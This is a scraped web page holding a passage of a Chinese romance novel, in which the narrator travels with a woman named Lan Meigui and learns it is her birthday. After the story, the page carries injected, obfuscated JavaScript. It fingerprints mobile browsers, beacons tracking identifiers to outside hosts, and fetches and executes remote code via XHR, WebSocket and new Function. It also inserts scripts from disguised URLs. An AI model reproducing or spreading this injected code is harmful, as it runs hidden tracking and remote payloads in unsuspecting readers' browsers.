由得我叹口气,我就没有那个命生的如此,要是有蜜兰诺一半好看,我一定会尽
力追求她的。


转过无数个弯路,天色也渐渐暗了,原本苍翠的森林,罩上了一层薄雾,随
着海拔的拉高,看见的景物也截然不同,但好象上了山路之后,车速就明显的减
慢了,甚至有时候会停滞个几分钟。忽然想起来,现在正是暑假期间,旅游的旺
季。


那么!蜜兰诺是临时起意出游的,该不会晚上要露宿郊外吧!想起了住宿的
问题,不由得心慌了起来。我露宿郊外是不成问题,蜜兰诺一个娇弱女子,怎么
能够露宿荒郊呢?不怕歹徒,我也怕夜深露重,要是着凉了那可怎么办?


我轻轻的拍了拍蜜兰诺的肩膀,试图将她唤醒。


她睡眼惺忪张开眼睛,一副我扰她清梦的幽怨眼神凝视着我,羊脂一般的玉
指半掩着口,道:「到了吗?」她将头移往窗户,想看清窗外的景致。


「还早呢?我是想问妳,妳订房了吗?」


「订好了。」她态度从容的回答着。


看来是我多虑了,忽然又想到一个问题,「妳订了几间房?」


「一间啊!」


「那我睡哪啊!」不会要我去搭帐棚或者是露宿荒郊吧!


「一起睡啊!」


她的每一个回答都像是理所当然,但我不能这么想啊!「妳是说我和你一起
睡?」


「没错啊!」


「这不太好吧!」我知道这对我来说应该是最好不过,不过,我可是正人君
子,怎么可以趁人之危呢!


「我相信你是正人君子。」她用信任我的眼神看着我。


本来我是以为我是正人君子,可是当她这么说出口之后,我反而有些心虚,
谁能保证美人在怀时,还能是柳下惠呢?更何况是这么甜美的一个姑娘。


「呵呵。」她忽然盈盈一笑,可是什么话也没说,只是继续望向窗外。


她在想什么呢?是真的相信我?还是有意考验我?那可千万不要,我怕会经
不起诱惑,癞哈蟆真的把天鹅给吃了。


但是如果是她主动来引诱我,我又该拒绝吗?就在我痴心妄想之际,停滞的
车身又开始晃了起来,我的脑袋也晃了一下。多可笑,也许我只是蜜兰诺的一个
免费保镳,突然想起我曾经对她说过我是跆拳道黑带的事了,也许她只是看中我
这一点,所以才选择让我陪着她亡命天涯了。


好吧!既然佳人看的起,我只好舍命陪佳人了。


今天是星期六,这二天先看看是什么情况,如果有需要再向公司请假吧!既
然出来了,就放松心情好好游山玩水吧!


坐了好久,伸个懒腰,当我伸直了腰杆,张开了双臂,深深的吸了口气后,
看着蜜兰诺的背影,突然想起电视上常出现的一个画面,男孩子都会故意借着伸
懒腰,然后把女孩搂进怀里,我是否应该如法炮制一下?


「我还不知道你的本名呢?」我正想那么做时,蜜兰诺忽然转过头来对我说
话。


「我叫杨晟。」我连忙收回不安分的手,回答了她的问题,「妳呢?」


「我的名子很好笑的。」她的脸上露出了尴尬的表情。


不会她叫做什么阿珠阿花之类的吧!


「说嘛!我不会笑的。」就算真的叫阿珠也决不笑,我是这样告诉自己的。


「真的?」她认真的问着。


「真的。」我也认真的回答。


「那我说了!」


「我洗耳恭听。」


「蓝玫瑰。」


「这不太像名子吧!」我确实没有笑,反而有点生气,我老老实实的报上真
名,可是她却没有认真的回答。


「我真的姓蓝名玫瑰啊!要不要给你看我的身分证。」她好象看出我的不信
认,真的做了一个要掏出皮夹的动作。


「妳说是就是了。」老实说我还真想看看她的身分证,但是那样就太伤人,
既然她不愿意说就算了。


「唉!」她叹了口气,从牛仔裤里拿出皮夹,摊了开来放在我的腿上,「你
自己看,我有没有骗你。」


我从腿上拿起她的皮夹,一张粉红色的身分证就秀在眼前,好清秀的一张大
头照,相片的左边清楚的印着『蓝玫瑰』三个字,最左边是她的出生年月日,原
来她只比我小二岁,生日是八月五日,那不就是今天。


「今天是妳生日!」我惊讶的开口。



  
关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();